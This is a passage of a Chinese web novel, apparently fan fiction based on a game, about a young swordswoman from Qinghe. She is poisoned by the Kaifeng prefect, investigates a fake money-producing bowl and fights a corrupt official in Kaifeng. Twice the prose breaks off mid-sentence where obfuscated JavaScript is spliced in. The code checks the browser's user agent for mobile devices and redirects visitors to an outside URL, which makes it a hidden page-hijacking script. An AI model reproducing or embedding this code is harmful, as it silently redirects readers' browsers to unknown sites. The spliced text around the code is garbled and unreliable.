赵大哥咳嗽一声,提示:“小姑娘,有什么便说什么好啦,府尹大人明察秋毫,一定不会冤枉你的。” 我略茫然:“府……府尹大人?哦哦,原来是府尹大人。那,我,说了?” 府尹大人不耐烦地一拧眉头:“吞吞吐吐,有话快说!” 我一抿嘴,尽量简洁地汇报:“禀大人,在下清河人士,前几日家中突逢巨变,亲人失踪。现场只看到留书一封,有人托名‘无缺’与亲人约在群英会相见。为了寻找亲人,我才混入樊楼,实在是对生金瓯没有任何觊觎之心。望大人明察!” 赵大哥也在一旁帮腔:“我今天一直和她在一块儿,她对开封菜的兴趣都比对生金瓯大,我能担保,不是她偷的!” 我感动莫名:“赵大哥,你真好!” 府尹大人凉凉地扫我一眼,忽然笑了一声:“既然你的朋友愿意为你担保,那本官姑且信你。” 好耶! “但有个条件。” 我还没来得及放松,只听这紫衣府尹大人悠悠道:“为自证清白,限你七日内查清生金瓯去向。” 我一愣,不明白事情怎么画风一转竟然突进至此。 “为什么,要,我……?” “怎么,心虚?”府尹大人眯起双眼,“还是说,你更想和本官一起去开封府牢?” “呃,那不必了。”我忍气吞声地低下头,“七日,好的,我努力……” “光努力可不够啊。”府尹大人轻笑道,“你把这个吃了。” 一旁亲兵托上来一方小盒,府尹大人眼神示意:“这是七日断魂丸。七日之内,无论你查到与否,回来复命,否则……” 我瞪着那方小盒,忽感五脏有烈火焚烧。 我知道,我的血压在飙升。 “否则毒发身亡?”我轻声问。 府尹大人微微一笑:“你如何决断?” 如何?什么如何,以形势压人,我还有什么选择? 我垂下眼,取过药丸,在指尖稍捻了捻。 府尹大人威胁道:“别想着反抗,或是把药毁掉。毒药我这儿有得是,你毁了这一颗,就得接着吃两颗。” 我没什么情绪地回答:“大人放心,我懂得审时度势。” 语毕,我仰头将药丸咽了下去。 “倒是个聪明人,本官喜欢聪明人。” 府尹大人的嘴角提起,露出笑意,轻描淡写地安抚了两句:“放心,本官只是想找出幕后真凶,不是真的想……你在做什么?” 我面色涨红,双目鼓胀,捏着拳头用力快速锤着胸口,艰难道:“药丸……太大……没水……干噎……不下去……” 府尹大人:………… 赵大哥:“那什么,也别为难人家小姑娘了,去给她找点水吧,也不能就让人家干噎啊?这噎住了出点什么事怎么办?” 我掐着胸口翻着白眼,一会儿就有亲兵来给我端上一杯茶。我也不管杯子里是什么了,咕咚咕咚喝下去,好不容易把药丸顺到肚子里。再抬头,眼前的府尹大人和赵大哥都已经不见了踪影。 人呢? 我赵大哥呢? 我左顾右盼,只听樊楼中央有人扬声道:“别找了,你的好大哥被府尹大人单独提审去了。” 我望过去,东阙公子立于三楼栏杆边,低头正兴致盎然地注视着我。 “温无缺。”我喊出他的名字,“我姨——” “嘘……” 东阙公子对我竖起一根手指,微笑着摇了摇头。 “回吧,我这儿没有你要的答案。” 4. 第 4 章 我这樊楼一行真是倒了大霉。 过了一会儿,我等到了单独提审结束的赵大哥。他认识开封府尹,看着没受什么磋磨。我问他有没有被强喂毒药,他说没有。 我替赵大哥感到高兴,但一想到我吃了毒药,很快又垂头丧气。我甚至想就这么一溜了之,找个僻静角落去洗胃。 呕,呕呕呕,我看看能不能吐出来—— 见我要呕吐,一旁扫地的樊楼侍从都警惕地瞪向我。 对不起,我没有素质,我是精神病。 “像这种毒药,进了胃里就会溶解,再吐也很难吐出来。”赵大哥同情地拍拍我的背,“中嘞,我陪你一起查案,咱快些查出生金瓯的下落,也好让你快些拿到解药。” 我嘟嘟囔囔:“这府尹大人长得漂亮,做事真是狠毒……要查案,官府去查不就行了,为什么这么连吓带哄地逼我帮忙一起查?” “有些江湖门道,或许官府也没能力查吧。”赵大哥安慰我,“至少先在樊楼查一圈,或许能有点线索?” 这是个思路,只是我提不起劲儿来。 我和赵大哥一起翻过樊楼的边边角角,路上听到被扣押的江湖人士和樊楼侍从的悄声低语。在场的不少高手都有嫌疑,说实话,我也见谁都像凶手。我甚至有一种冲动,想直接跑去向开封府尹谏言,让他把给我喂的毒药给在场所有人都喂一颗,我看谁敢不说! 路上有侍女偷偷议论,说开封府尹长得真俊俏。赵大哥还没开口,我就急赤白脸地冲了过去: “别被骗了啊,你们别被坏男人骗了!那人给我喂毒药,你们知道吗,连杯水都不给,让我原地噎半天!这个世界上越是长得好看的男人越会骗人!” 侍女:? 赵大哥臊得赶紧把我拖走:“行了行了……你小心让府尹的人听见……” 我抽抽噎噎:“毒都吃了,小命现在捏在人家手里,他想让我死还不是一个念头的事?我才十六哇,我连恋爱都没谈过,早知道今早路过升平桥小帅哥我就停下来跟人家搭讪了,啊——我的小帅哥,我的升平桥小帅哥——” 赵大哥:“你不是刚说过越好看的男人越会骗人吗?” 我:“有的时候我是自愿受骗的。” 赵大哥:“恁真中。” 他把我拖到露台上,吹了吹风,我稍微清醒过来一些,但还是打不起精神。 “今天在龟奶奶家吃新汴京烤鸡翅的时候,你不是还生龙活虎的,说要跟着超人官家拳打南唐,脚踢北汉……怎么现在要查个案,就恨不得跑回清河了呢?” 赵大哥在我旁边蹲下,我捂着脑袋,有些蔫吧。 “是啊,我也觉得自己有点窝囊。”我小声说,“也有可能是我的自我保护期过了吧。” 赵大哥问:“啥是自我保护期?” 我把脸埋到胳膊里去,过了半晌,闷闷地问:“赵大哥,你觉得我像精神病吗?” 赵大哥嘿嘿一笑,说:“说老实话啊,妹子,虽然你总说自己有精神病,但俺到现在也没弄明白究竟啥是精神病。” 我苦笑一声,解释:“精神病就是脑子有问题,发癔症。” 赵大哥“哦哦”了解:“这样啊,癔症我知道!可我瞧着你不像是有癔症的样子,你脑袋聪明着呢。” 我瞟了一眼赵大哥,又迅速垂下目光。 “其实我从小就有癔症。”我说。 我是个孤儿,无父无母,是江叔在一个大雨天把我捡了回来。 听江叔说,我小时候淋了雨,断断续续身体一直不怎么好,每到雷雨天就做噩梦,说些怪话。这病根一直跟着我到大,逐渐成了癔症,表现出来就是我脑子里总会有些怪异的念头出现,仿佛我本不该生长在清河,也不该做不羡仙的少东家。 每次我去跟寒姨江叔讲这些我脑子里突然出现的念头,他俩都会让我小心,除了亲人,旁人谁也不许说。 这癔症对我的困扰倒也不算太大,因为我认得清现实,知道身边的一切都坚实可靠。我有爱我的江叔寒姨,有和我一起招猫逗狗的好朋友红线,有我的一生之敌村口大白鹅,还有我的家不羡仙。 我总会坐在不羡仙的屋顶眺望西南方,听客人说,那是开封的方向。开封是汴京,王朝精华之地,有许多的故事,也能闯出不世的侠名。 我从小喜欢听故事,最喜欢听历史故事。睡前寒姨会给我讲,从武王伐纣到春秋战国,秦皇统六国,高祖斩白蛇,冠军侯封狼居胥,武侯七擒孟获,兰陵王一人却退百万军,太原公子横空出世,霓裳羽衣,秦王入阵…… 但讲到渔阳鼙鼓动地来之后,寒姨就不怎么讲了。我问:贵妃死了,唐皇也死了,后来呢?寒姨说,大唐没了。 可秦朝没了还有汉,汉没了还有三国魏晋南北朝,接着就是大唐的贞观开元,大唐没了,之后应该还有吧? 寒姨说,没了就是没了。如今没有年代,将就点,活着就行。 于是我茫茫然地活在一个不知为何的年代。 隐约地,我脑中那个癔症会喃喃一些我不太能听懂的话,我去问寒姨知不知道大明?寒姨说不知道。我说,那大清呢?寒姨扭头大喊:天不收!孩子又犯病了!加大药量! 天不收大夫给我灌了中药,我被苦得龇牙咧嘴,赶快含了块糖,又偷偷摸摸地问:“天叔,你知不知道土木堡啊?别怕,我帮你瞒着,不叫锦衣卫听见。” 天不收大夫怜悯地看着我,让我先别着急走,他给我再加一碗。 我以为我的人生会继续这样下去。寒姨会教着我经营不羡仙,我会学会怎么酿不羡仙的招牌酒离人泪,逐渐独当一面,接替寒姨在神仙渡继续做老板。江叔偶尔会回来看看我,再出去行侠仗义,等到他打不动了,就和天不收大夫一样,每天坐在躺椅上晒太阳看我查账。 又或者,我会像江叔那样出去闯荡江湖。从小我就修习江叔教我的剑法,从未懈怠,自认除了村口大白鹅那是打遍清河无敌手。有武艺傍身,我要打马入开封,做一名光荣的京漂,在京城闯出赫赫侠名,从此就成为……成为…… 唔,还得给自己想一个名号。要叫什么好呢? 周红线说,她要叫摇红女侠。我问她我要叫什么,小丫头满脸得意之色,她说让我自己想,看我鼓起脸,她又补充了一句,说要是我实在想不出来,她可以勉为其难地替我想一个名头,只是要收专利费,讹诈我一大包松子糖。 臭丫头,“专利费”这个名词也是我……我的癔症发明的! 接手不羡仙可以徐徐图之,但行侠仗义这种事我一刻也等不及啦!我的剑渴望鲜血,我想要马上去开封!我想要马上闯荡江湖! 不羡仙被烧前的那个时辰,我留下给寒姨的信,牵着马,最后一次回头,看了一眼我的家。 从此,就只有梦中再见。 “我总会说一些怪话,做一些旁人眼里姑娘家不该做的事。有乡亲在背地里笑话我,可江叔寒姨从来都护着我,从来都不会说我不对。他们会认真听我说的怪话,告诉我哪些是对的,哪些是他们也不知道的。他们都说我是个很好很好的孩子,没有人说我有病,只是叫天叔给我喝固本培元的药。” 说到这儿,我虚虚地看向樊楼露台外的开封。烟锁楼阁,玉芝琼萝,可这些美景在我眼中混沌难明。 “结果那天,不羡仙没了。绣金楼的人把我家烧了。红线死了,刀哥死了,寒姨走了,只剩下我一个,只留我一个。” 我在一片荒芜中醒来,身边熟悉的景色已经化为焦土。我踉跄着离开,浑浑噩噩间,不知自己是谁,不知自己身在何处,只知道背着剑漫无目的走着,遇到山贼匪盗提剑就杀,然后睡在血腥气还未散去的野寨,醒来又是天地兴亡两不知。 我是谁?我这是在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“方才面对府尹大人,我不能再疯疯癫癫的,可变回正常人后我就泄了心气。吃下毒药,我感觉自己像是回到不羡仙被烧的那天,我还是一样的弱,什么都做不了,就连自己都救不了,还要连累赵大哥。所以,我就成了现在这副窝囊废。” 赵大哥垂下眼睛。他似是想了些什么,过了几息,他看向我,轻轻地将大手盖在了我的脑袋上,揉了一揉。 “我和江晏过去就认识,我们同年。如果你不嫌弃,我应该可以忝称一声你的长辈。” “虽然不知道江晏那小子是怎么想的,也不知道他现在在哪儿,但如果是我,如果你是我家的孩子,我不会在乎你是不是疯疯癫癫的,我只想你开心。” “人活这一世,难免会有太多别离。我是行伍出身,亲眼看着死了那么多兄弟,就连我的亲大哥也没了。他们没了,你记着他们,但也不能总记着他们。你该继续往前走,因为总有新的人要遇到。往后你的日子还长,所有事总会有个解法儿,千难万难,会有人和你一起扛。” 说到这儿,赵大哥笑了一声:“就比如我,至少我会帮你查出生金瓯的下落,保你不被毒死。” 我从胳膊上面露出两只红眼睛,鼻音很重地问:“真的吗,赵大哥?” “俺保证!”赵大哥用力拍拍胸脯,“你去尽管问问,谁不说俺老赵一诺千金?” 我呜咽一声,一个大力冲撞,直接顶到赵大哥怀里,搂着他使劲儿地一抱:“呜啊!赵大哥!!!” “哎呦!恁这一下可真吓人,幸亏我下盘稳,吃得住劲儿……”赵大哥手忙脚乱地接住我,胡乱在我背后拍打,“行了行了。不是说瞧上一个升平桥的俊小伙吗?赵大哥领你去再瞅瞅他,介绍你俩认识!” 我抽噎着说:“我还要你弟弟!你说好把你那个齐整弟弟也介绍给我的!” 赵大哥:“……中中中,俺有好几个弟弟,就是不知道你中意哪个?” 我:“我要你那个最齐整最帅最好看的弟弟!” 赵大哥犹豫了:“俺家弟弟都可齐整……” 我直起腰,目露凶光,手抓成拳:“我全都要!” 赵大哥:…… 赵大哥:中,碰上恁个信球货算俺倒霉。 5. 第 5 章 -X月X日,阴 这是生金瓯失窃的第三天。 在赵大哥、盈盈和小福的帮助下,我勇下灰坑,大闹鬼樊楼,战天斗地,终于! 发现生金瓯就是几方联合起来骗官府的一场戏。 原来生金瓯从一开始就是假的啊,哈哈,那没事了。我拿着假货去找开封府尹汇报去了嗷。 ……咋可能呢! 这不完蛋了吗! 我呆滞地坐在升平桥的小吃摊边上,老板有些同情地看着我,说:“你等的那个俊俏小郎君今天已经吃完走啦。” “什么俊俏小郎君,我没有等俊俏小郎君,我也没有暗恋,我只是……” 我胡言乱语地一通解释,脸色从白转红:“我知道他每天辰时来,我也知道他这个点不在,我特意错开了时间,就是不想碰上他……” 老板:你有这样调查信息的能力,做什么都会成功的。 “真是稀奇,寻常姑娘见着俊俏郎君都会想方设法接触搭话,怎么到了少侠你这儿反而避开走了呢?” 老板给我端上热汤面,我用筷子搅搅面和汤,叹了口气:“我这几日自顾不暇,为了查案成天灰头土脸的,精神也不好,贸然和他见面不是坏事吗?而且,而且我就是单纯觉得他好看,见着过几次侧脸而已,连正脸都没认真瞧过……” 老板:“我瞧过,正脸确实非常好看。” 我:“嘿嘿,真的吗,嘿嘿……” 天色渐黑,路上行人也渐少,看着我应该是老板今天的最后一单了。我埋头嗦面,老板收拾摊位,拿抹布擦桌子的时候,突然问我:“少侠这几日是有事烦心?” 我含混地答:“是吧,是这样的。” 从一开始就没有能冒钱的生金瓯,失窃案是东阙公子、九流门和醉花阴联合做的局。如果我为了尽快解毒交差,在看到小福拿着生金瓯钻入灰坑那天就能跑去找开封府尹汇报。 可我怎么忍心把福禄寿三姐妹供出来,又怎么忍心掐断开封百姓买粮的活路? 这个世界上怎么可能有自己能源源不断生钱的聚宝盆呢?又不是印钞机!要是可以凭空生钱,物理学都不存在了! 可如果真的没有可以生钱的聚宝盆,开封百姓的钱荒问题要怎么解决呢? 转念可我又一想,不对啊,凭啥要我来想解救开封百姓的方法啊,我上礼拜才从清河来开封务工,这大宋要轮到我一个务工小妹儿来拯救了? 你赵大赵二赵普什么的不干活吗?还是说三个赵凑一起消消乐给消掉了? 一想到赵二我就又气不打一处来。 我对宋朝的历史不太了解,所以那天在樊楼开封府尹闪亮登场的时候我压根儿就没猜到他的身份,服毒前还傻呵呵地想着:哇哥们儿好年轻好帅哦~ 直到被塞了一嘴干噎毒药,出了樊楼我才狗急跳墙地开始打听,就得到一个晴天霹雳的消息: 开封府尹是当今圣上的亲弟弟赵光义。 赵光义!男人中的男人!官家中的官家!太宗中的吉祥物!拿斧头的暗杀者!牵机药的支配者!李煜的终结者! 王!大师!赵炅!帝王!魔王!压倒性的车手! 皇帝F1拉力赛史上永垂不朽的! 巅峰!!! 说老实话,我对野史是不怎么感冒的那一类。我不太信赵光义有这个能力给赵匡胤烛影斧声做掉,因为赵光义除了胸肌有点发达之外身板不算壮实,我估计我俩单对单来独打独他都不一定能打得过我,更别提对上在这个武侠世界还能一条盘龙棍打遍天下无敌手的铁拳无敌官家超人赵匡胤。 至于后世流传他看到“问君能有几多愁”之后勃然大怒给李煜毒死这种传言,我本来也不是太相信。因为照史书载,比较讨厌李煜的应该是赵老大,毕竟是赵老大给李煜封成“违命侯”的。赵老二继位之后也没什么理由继续折腾他,毕竟再坏也坏不过“违命侯”了嘛,每天喂点吃的养着得了,毒死了干嘛呢?对自己名声又不好! 再说了,李煜一个重度抑郁症患者,去国离乡关在屋子里成天就搞点文学创作,能有什么威胁性?要说是他的词惹怒了赵光义,我看也有点扯淡。 我要是赵老二看到手下败将每天关在小黑屋里哭哭啼啼写这种词,那实在是非常解气。难道你不觉得解气吗?换位思考一下,我和赵大哥出门,把以前欺负过我的无忧帮揍了,然后成天关在小黑屋里,生死都在我手上掌握。无忧帮没有办法,成天就是哭着在小屋里叽歪怀念以前在外面吃香喝辣的日子……我估计听到他哭都能爽得天灵盖起飞。 看吧,本来我对赵光义的态度是如此客观,结果他给我塞了一嘴毒药。 好了,怀疑坐实了,你小子果然是绝命毒师! 今天给我喂毒药,明天他就能给赵匡胤喂毒药,后天就是给李煜喂毒药! 这么能耐,怎么不给大辽下毒呢? 毒遍东亚,毒遍亚洲,毒遍世界!绝命毒师带领大宋一统全球! 见我气得面目狰狞,老板说:“流年不利也是有的,我偶尔也会遇到连着好几日倒霉。少侠要不去大相国寺拜拜?或者去太一宫,求些符签都好,至少心里是个安慰。” 去庙里拜拜? 确实,我最近也是够倒霉的。拜拜就……拜拜吧。 我结了账,老板又挤眉弄眼地问我明天白天要不要替我在俊俏小郎君旁边加个座。我连忙摆手,说:“不了不了,别打扰人家,等我把最近这几天手上的事忙完再说。” 我身上还带着七日断魂丸的毒呢,万一赵光义真不给我解毒我咋办? 反正我是做好了他不给我解毒我就拉他一起死的准备。怎么,独你是绝命毒师,我就不能是刺客信条? 太一宫。 我运起轻功,偷摸翻进钟楼。 我原本的确是来求符问签的,进大殿对三清胡乱拜了拜,出来就听到有人八卦,说一直闭门修缮的钟楼里有奇怪的人进出,还说什么“鸭肾”。 有稀奇古怪的事我怎么能置之不理呢?于是我一抹脸,易容成钟楼二楼那人的模样,火速下了钟楼。 钟楼内果然别有洞天,一条地道通往无底的秘密据点。我边走边嘀咕开封是不是看过《流浪地球》所以提前一千年挖了地下城,怎么鬼市有个大洞,这儿太一宫底下也有大洞,人防工程做得也太好了,大宋土木工程独步天下呀! 大洞底下别有洞天,此处是一地宫,里面布设了祭坛,有自称玄元教的教众在这儿布置筹划,说要行“厌胜之术”。 我对这些玩意儿是一点没有研究,但凭借我朴素的高中语文知识,有个“厌”字在里头,那肯定不是啥好东西。 果然,和地宫里主事的逍遥门门主一聊,他们好像策划着要控制一个“紫微星”。上辈子听多了“天降紫微星”,不过都是各位体育圈的粉丝祈祷出个金牌好苗子,我寻思在古代还说什么紫微星可真是嫌自家九族批发的了。 但真让这些邪门儿玩意儿把紫微星控制了应该也不好,于是我直接拿起供桌上的施法道具,足不沾地,一溜烟跑回了地面。 自觉做了好人好事,我从太一宫出来都是抬头挺胸的。 成功破坏了玄元教的邪恶计划,哈哈,今天少侠也在拯救开封! 而且还白得一块玉佩! 我拎着玉佩,美滋滋地回了角门里。 熟练地绕过搜捕官兵,我在角门里门边角落里碰到了福禄寿三姐妹。 “呀,我回来的时候没买糖,就买了点牛乳,你们要不要?” 三张小脸抬起来,纷纷露出不信任的神色。 小福:“你是不是又去升平桥看帅哥了?” 小禄:“到处都是官兵,你被抓到了怎么办……” 小寿:“你买牛乳干什么?” 我一心三用地回答问题:“我去升平桥吃饭了但是我没去看帅哥!帅哥不在!路上我都非常小心,特意绕开的官兵。牛乳有一定解毒的作用,自从狗官给我喂了七日断魂丸我就坚持天天喝牛乳,争取毒发的时候减轻点痛苦。” 不知道福禄寿三姐妹信不信,反正我觉得是有科学依据的! 哎,不对,怎么现在是个人都知道我喜欢去升平桥看帅哥了?! “你问到帅哥的名字没有啊?”小福问。 我涨红着脸:“我这是爱美之心,欣赏生活中的美,为什么非要认识呢?” 小寿:“哦,你胆子小。” 我大怒:“我胆子小?我砂锅大的拳头从清河一路打到开封,契丹狗来一对我打一双,打到大道都磨灭了耶律大石见到我疯狂逃窜了,进鬼市我冲阴兵借火,下荧渊我在毒水里泡澡,荒魂村我翻箱倒柜,你说我胆子小?” 小寿:“那你为什么不敢去和帅哥搭话?” 我:………… 我败了,败得如此彻底。 “明天!”我发誓,“明天辰时,我就去升平桥和帅哥搭话!谁不去谁是耗子!” 小福嘀咕:“耗子怎么了,耗子多好用……有本事以后助战你别叫我们带耗子来……” 我假装没听见。 但计划不如变化快,史大人冲进角门里,对我公然挑衅,还要让官兵给我就地格杀。 好笑!也不打听打听我是谁?在清河我是让人闻风丧胆的“赤衣女鬼”,在开封虽然我还没什么响亮的外号(希望父老乡亲给我取个好听点的,如果再是什么‘汴京在逃精神病’我就和开封人拼了),但也不能让他骑到我脸上来! 提起剑我就开始乱杀! 杀杀杀杀杀! 途中盈盈冲出来想保护我,我说:不用!盈盈你后退!带着龟奶奶先走! 盈盈:“好大侠,可你一个人打不过他们这么多……呃,人……” 我把剑架到史大人脖子上,扭头看盈盈:“啥?” 盈盈:………… 盈盈:“好大侠,你继续。” 史大人带来的官兵基本都躺了一地,我拿剑架在他脖子上,狞笑道:“哼哼,樊楼那天不是很嚣张吗,啊?不是怀疑我是真凶吗,啊?不是要给我喂毒药吗,啊?” 史大人:“等一下,给你喂毒药的不是我……” “反正都是狗官,都一样!”我怒道,“谁许你仗势欺人,在角门里横行霸道的,你就是这么做官的吗?我看你是欠狗头铡了!” 史大人青筋暴起:“你敢杀我?” “怎么不敢!”我冷笑一声,“你的狗命难道高人一等?你说角门里的百姓是贱命一条,刀剑无眼,你的命也贱得很!我早就听说你在熔炉草菅人命,上头的大官们不管,我管!” 剑影横斜,却没有预想中的人头落地。 嗡鸣声响起,如樊楼时令人晕眩的感觉突如其来。有什么庞然大物从我面前肥胖的红色官袍躯体内拔然而出,一双略粗糙却温暖的手从背后伸来,托着我向后退—— “小心!” 是盈盈。盈盈将我护入怀中飞速后退,眼前的史大人突然变得几倍大,他抬起脚,眼看着就要将我们踩入脚底,盈盈眸光一闪,掏出一枚钱币,“铛”地激射而出。 买命钱! 又是嗡鸣,巨大化的史大人怪笑一声,也不恋战,身形急剧缩小,在屋顶上几个纵跃飞速跑了。 我按住额头,等到嗡鸣带来的不适消退,我急忙去查看盈盈的情况。 她头发散乱,猫猫帽子不知何时落下,露出一头灿金的头发。 “你……” 见我神情怔然,盈盈苦笑一声:“被你发现了。” 我抿起嘴,低头先去看她发抖的右手。些许血流从她的袖中流出,我找出布条给她包上,埋怨:“你去染头怎么都不叫我?” 盈盈:? 盈盈差点气笑了。 “开个玩笑,开个玩笑,我精神病来的你又不是不知道!”我赶紧申辩,“我看出来了,你是东阙公子,对不对?” 盈盈:“是啊。” 我:“我姨在哪儿?” 盈盈:“我真的不知道。” 我:“好吧,那我没啥问题了。现在我要去追杀那个史大人,要是让他带更多兵来那角门里就没法住人了。你和我一起去吗,盈盈?” 盈盈望着我,忽然灿烂地笑了起来,伸出双手,用力地抱了抱我。 “你去吧,好大侠。我有属于我的战场。我会为你祝福的,你一定会赢。” 我满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15103043|163805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怀自信:“那当然!他什么臭鱼烂虾,都不配我喝药打!” ……………… 熔炉。 我看着巨大化的黑财神,感觉自己好像有点读不懂这个世界观了。 这还是国内吗,这给我干哪儿来了? 为啥这哥们儿又能变大又能进入一个奇怪的云雾空间,还拿钱砸我?说好的武侠呢?怎么成修仙了! 趁我捡钱的时候打我真是卑鄙没边了!!! 这都是老百姓的钱啊!整座熔炉都是民脂民膏,百姓血汗,放你史大人身上就成武器啦?要不要点脸! 巨大的黑财神将面孔隐没在金铜的面具后,我飞身跃起,就像是在开封飞过高楼屋檐,笔直将剑捅入它面孔上眼睛的缝隙。 ——什么神仙皇帝,也敢来我面前耀武扬威? 我上辈子见过被推倒的三座大山,现在不介意再来推一次! 黑财神发出尖锐的啸叫,来自未央城的幻术被击碎,我一剑捅穿史大人的脖子,毫不留恋,一跃而起,从熔炉飞至高楼楼顶。 模糊的月光下,我能看见盈盈的金发,她换回了东阙公子的打扮,双手被缚,就这样跪在紫袍官员面前。 一时间,我热血上脑,几个纵跃挡到盈盈身前,依旧带着血腥的长剑笔直指向紫袍大官的脖颈。 收缴唐钱……逼民做工……角门里的百姓连饭都吃不起了,结果熔炉里金银珠宝满坑满谷,养出了一个用钱来砸人的黑财神?! 这就是你大宋的治理之道?! 紫袍官员站在屋檐下的阴影中,我看不清他的脸。但他是谁并不重要,因为他代表的是赵宋官僚,是那群玩弄权术,将百姓视作草芥的士大夫。看清脸又如何呢?这样的人太多了,一个又一个,一千年都死不绝。 “我把史大人杀了。” 我持剑的手很稳,笔直指着紫袍官的咽喉,毫不退让。 “那又如何?” 紫袍官背着手,好像根本没有被剑指着,上身挺拔如许,甚至发出了一声轻笑。这声笑很熟悉,熟悉到勾起我的火气。 “像他这样办事的人,死了一个,再换一个就是了。” “换一个我杀一个,直到钱回到百姓的手里。”我冷声道,“我知道你们有自己的道理,为了大义,为了统一,要钱要粮,那就只好苦一苦百姓。” 说到这儿,我脸上扭曲出一丝几乎是狰狞的笑:“贵人闭起眼睛不看草民的苦楚,草民自然也不会费心去理解贵人的大义。草民只知道一个道理,草民要吃饭,没饭吃了会死,一起死,不如拖着贵人一起死。黄巾军没饭吃,六镇军民没饭吃,黄巢也没饭吃,他们没饭吃,贵人们的饭要从哪里来?一千年了是这样,你猜,再过一千年会不会也是这样?大人,你懂的道理多,你知道吗?” 我的话实在是放纵荒唐,身前,紫袍官脸上的阴影略微晃动,显然是因此神情失色。身后,盈盈略有些惊惧地提醒:“不可——” “好了。” 身侧,安静的黑暗突然传来男人的声音。略沉重的脚步声传来,不知听了多久的旁观者要出现了。 我警觉地侧过头,将盈盈挡住,依旧没有收剑。 昏暗中,我看到一截明黄衣袍的下摆露了出来,来人身份昭然若揭。 完了,是铁拳超人赵匡胤。 打完了黑财神,真正的时代大BOSS要出现了!!! 在看到那黄袍的一角,我脑子里就难以控制地闪过无数念头。比如“我和盈盈一拥而上他赵匡胤一个人也未必能马上把我俩全打死”,比如“大学体育课教的长拳和赵匡胤使的长拳究竟一不一样,我上辈子学过长拳那算不算赵匡胤的徒弟”,再比如“我要是被赵匡胤一拳打死了,留一句遗言要他小心别被绝命毒师毒死他会信吗?” 不,我不能露怯! 我就是死,也要站着死! “早就说了,你这样不行。” 赵匡胤的脸向的是那紫袍官,这话倒是让我有些讶异,言下之意,竟然是站在我这边的。 接着,他就转向了我。 “把剑收起来吧,别吓唬光义,他不怕这个。” 我迟疑了一瞬,目露凶光地瞪了赵光义一眼,这才锵然收剑。 我说对面怎么那么气人,原来是绝命毒师,哼! “唐钱收缴令行不通了,开国库,用铜钱和百姓换唐钱吧。你继续负责,别再出现近几日的这些事了。” 说完之后,赵匡胤连一个眼神都没留给我们,转身就又回到了黑暗之中。 我望着重新恢复平静的黑暗,后知后觉地意识到自己手心冒汗。 窸窸窣窣,赵光义迈步也要离开,好像也根本不打算理我。我一个箭步上前,径直拦到他去路上,目光炯炯地抬头瞪他。 “做什么?”他皱眉,“你还想袭击当朝要员?” “我来汇报!”我大声说,“你不是让我七日后来找你汇报调查结果吗?我调查完了!生金瓯本来就是假的,因为物质守恒,不可能凭空生钱!那个生金瓯被偷到鬼市,现在又被史大人抢去熔炉,现在就在熔炉里头,你要想留做个纪念就去熔炉拿吧!” 余光里,我看到盈盈抿着嘴在偷笑。赵光义逆着光,他脸上的表情我看不清楚,但从语气听来,他真的非常生气。 “好,好得很,少侠的调查真是尽职尽责。” “既然我查完了,把解药给我。”我向他伸出手,“男子汉大丈夫,说话要算话。” 赵光义瞥我一眼,绕开我就走:“我今日身上没带解药,明日你来开封府拿。” 我对着他的背影喊:“你平时出门身上不带解药带毒药?喂,明天我真的会上门!必须把药备好啊!不然我精神病发作了天天在你们开封府门口撒泼!我告诉你我精神病发作很吓人的!你上清河打听打听,都知道我有病!我半夜不睡觉唱歌扰民!反正开封府挪不走,你等着!我的曲库很大的!” 只听赵光义的脚步声越来越快,直至他和亲卫都不见人影。 我松了口气,回头去看盈盈。盈盈笑得双眼弯弯,然后把我抱进她毛乎乎的怀里。 “好大侠,你这么会唱歌,也唱给我听听吧?” 6. 第 6 章 熔炉事件解决,我在龟奶奶家天昏地暗地睡了一觉。 第二天腰酸背痛地起来,日上三竿,竟然已经过了辰时。我匆匆套上衣服,几个纵跃去了升平桥,结果店家告诉我俊俏小郎君吃完饭就走了,眼看着是出了城。 我哀嚎一声,趴在桌上滚了一滚:“完啦……打赌输了,要变耗子啦……” 错过就是错过了,这也没啥好办法。不过听店家这么一说,我也想起来,自从到了开封我就被卷进了唐钱案,一直在城里跑来跑去,都没在开封周围好好逛过。 决定了,今天白天去开封城外转转,下午回来就去开封府领解药! 出城前,我还在升平桥又买了点牛乳和点心。 牛乳要坚持喝,没拿到解药前也要自己发挥主观能动性为自己化解毒性! 我溜达着出了城,几个轻功纵跃开始开锚点……不是……界碑。 过了柳圃去找博浪沙的天涯客,天涯客和我对过暗号,拿了舆图给我。只不过这次的舆图有些不同。 之前别的天涯客绘制的舆图背面都会写些小字,基本是些区域世情。但这张舆图背面写的却是首词: 枕前发尽千般愿。要休且待青山烂。水面上秤锤浮。直待黄河彻底枯。白日参辰现。北斗回南面。休即未能休。且待三更见日头。 我皱着眉头看半天,终于承认自己是个半文盲,悄悄凑到天涯客旁问:“前辈,这词是什么意思啊?” 天涯客睨我一眼,笑说:“你觉得我会告诉你吗?” 我:………… 好吧,早知道这帮天涯客都怪里怪气的。 我溜达着在浮戏山的道馆转了一圈,结果耳朵尖听见有人说这附近有不少玄元教出没。我想起昨天在太一宫拿到的玉佩,不禁感慨这世道真是乱,城里闹玄元教,城外也有,真是阴魂不散。 没关系,见一个我杀一个,是时候让开封附近的牛鬼蛇神体会一下清河地区恶人们的感受了! 但这浮戏山不愧是天子脚下,违反犯罪事件还真挺少。溜溜达达走到后半山的太岳台,终于,终于,除了野狼之外,让我碰上一起行侠仗义的惊叹号事件。 “我家公子被绑架啦!” 我提起剑,兴奋得就跟被绑架的是我一样:“什么!竟敢有人在我面前逞凶!哇呀呀呀呀呀,我好久没有犯病啦,让我打人,让我打人!!!” 定睛一看,这太岳台竟然有这么多玄元教!哼,竟然挡我的路,桀桀桀桀,我看这些人是都想变成我的包中材料松节膏了! 开杀! 